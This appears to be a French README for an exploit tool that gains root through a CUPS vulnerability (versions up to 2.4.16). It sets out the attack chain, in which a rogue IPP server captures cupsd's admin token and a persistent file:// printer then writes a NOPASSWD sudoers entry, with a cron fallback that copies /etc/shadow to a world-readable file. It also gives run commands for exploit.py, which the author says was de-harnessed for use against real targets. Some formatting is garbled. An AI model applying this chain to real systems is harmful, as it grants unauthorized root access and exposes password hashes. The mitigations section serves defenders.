
Élévation de privilèges locale contre un `cupsd` root.
cups2root, dé-harnaché)CVSS 3.x : 8.4 HIGH (approx — verify)
CWE : CWE-287 (Improper Authentication) + CWE-269 (Improper Privilege Mgmt)
Fix : CUPS 2.4.17+
Affects : CUPS ≤ 2.4.16 with cupsd running as root and 631 reachable locally
Élévation de privilèges locale contre un cupsd s'exécutant en root. Lorsqu'il est contraint d'agir comme client IPP face à un serveur local malveillant, cupsd répond à un défi 401 WWW-Authenticate: Local en rejouant son propre jeton d'administration. La capture de ce jeton permet à un utilisateur non privilégié de piloter cupsd en tant qu'admin (root). Une file d'impression file:// persistante (printer-is-temporary=false) contourne la politique FileDevice, de sorte qu'un Print-Job brut écrit les octets de l'attaquant vers n'importe quel chemin en tant que root — ici un fragment sudoers NOPASSWD.
Deux primitives s'enchaînent pour aboutir à une écriture de fichier arbitraire en root :
Local réutilisable. cupsd accepte une authentification Local adossée à un certificat root sous /run/cups/certs/. Agissant comme client IPP, il fournit spontanément ce jeton d'administration lorsqu'il est mis au défi par 401 WWW-Authenticate: Local. Pointez cupsd vers un faux serveur IPP que vous contrôlez et vous capturez un jeton valide pour le piloter en root.file:// en tant que device-uri est refusé par défaut. Créer la file avec printer-is-temporary=false la rend persistante et contourne cette protection ; un Print-Job brut écrit alors ses octets directement dans le fichier cible, en tant que root. cupsd (root) rogue server 127.0.0.1:9189
| |
CUPS-Create-Local-Printer |
device-uri=ipp://127.0.0.1:9189/ipp/print |
| "validate" the printer |
|----------------------------------->|
| 401 WWW-Authenticate: Local |
|<-----------------------------------|
| retry + Authorization: Local <T> |
|----------------------------------->| capture <T>
<T> est le propre jeton d'administration de cupsd — rejouez-le contre /admin/ et vous êtes équivalent root.
1. Cap thread bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
-> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write CUPS-Add-Modify-Printer device-uri=file:///etc/sudoers.d/<user>-pwn
printer-is-temporary=false (FileDevice bypass) + accept + resume
Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify sudo -n id -> root
(fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
to /tmp/shadow-<user> mode 644; wait ≤90s for cron)
Le PoC de référence (GHSA-c54j-2vqw-wpwp / cups2root, R. de Jager) est un harnais de démonstration : il s'exécute en root, lance son propre cupsd et un utilisateur jetable unpriv, puis sudo -u unpriv pour simuler l'attaquant. Inutilisable tel quel. Modifications :
127.0.0.1:631.$ATTACKER) ; fragment <user> ALL=(ALL) NOPASSWD: ALL.ipptool / lpadmin / lpinfo / cupsctl| Statut | Versions |
|---|---|
| Vulnérable | CUPS ≤ 2.4.16 |
| Corrigé | CUPS 2.4.17 et ultérieur |
| Fichier | Rôle |
|---|---|
exploit.py | PoC : fuite de jeton → file file:// → Print-Job brut → root via sudoers |
README.md | Ce fichier |
Bibliothèque standard Python 3 uniquement — aucune dépendance.
# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py
# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py
# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py
En cas de succès :
[+] Local token: <token>
[+] ROOT via sudoers
puis sudo -i.
cupsd en root lorsque c'est évitable ; abandonner les privilèges / sandboxer le service.Local et le backend de périphérique file:// ; maintenir la politique FileDevice appliquée pour les files persistantes.systemctl disable --now cups cups-browsed et supprimer le paquet.Ce projet est destiné uniquement aux tests de sécurité autorisés, à l'éducation et à la recherche défensive. Il vous incombe de respecter les lois applicables et les règles d'engagement de votre laboratoire ou client.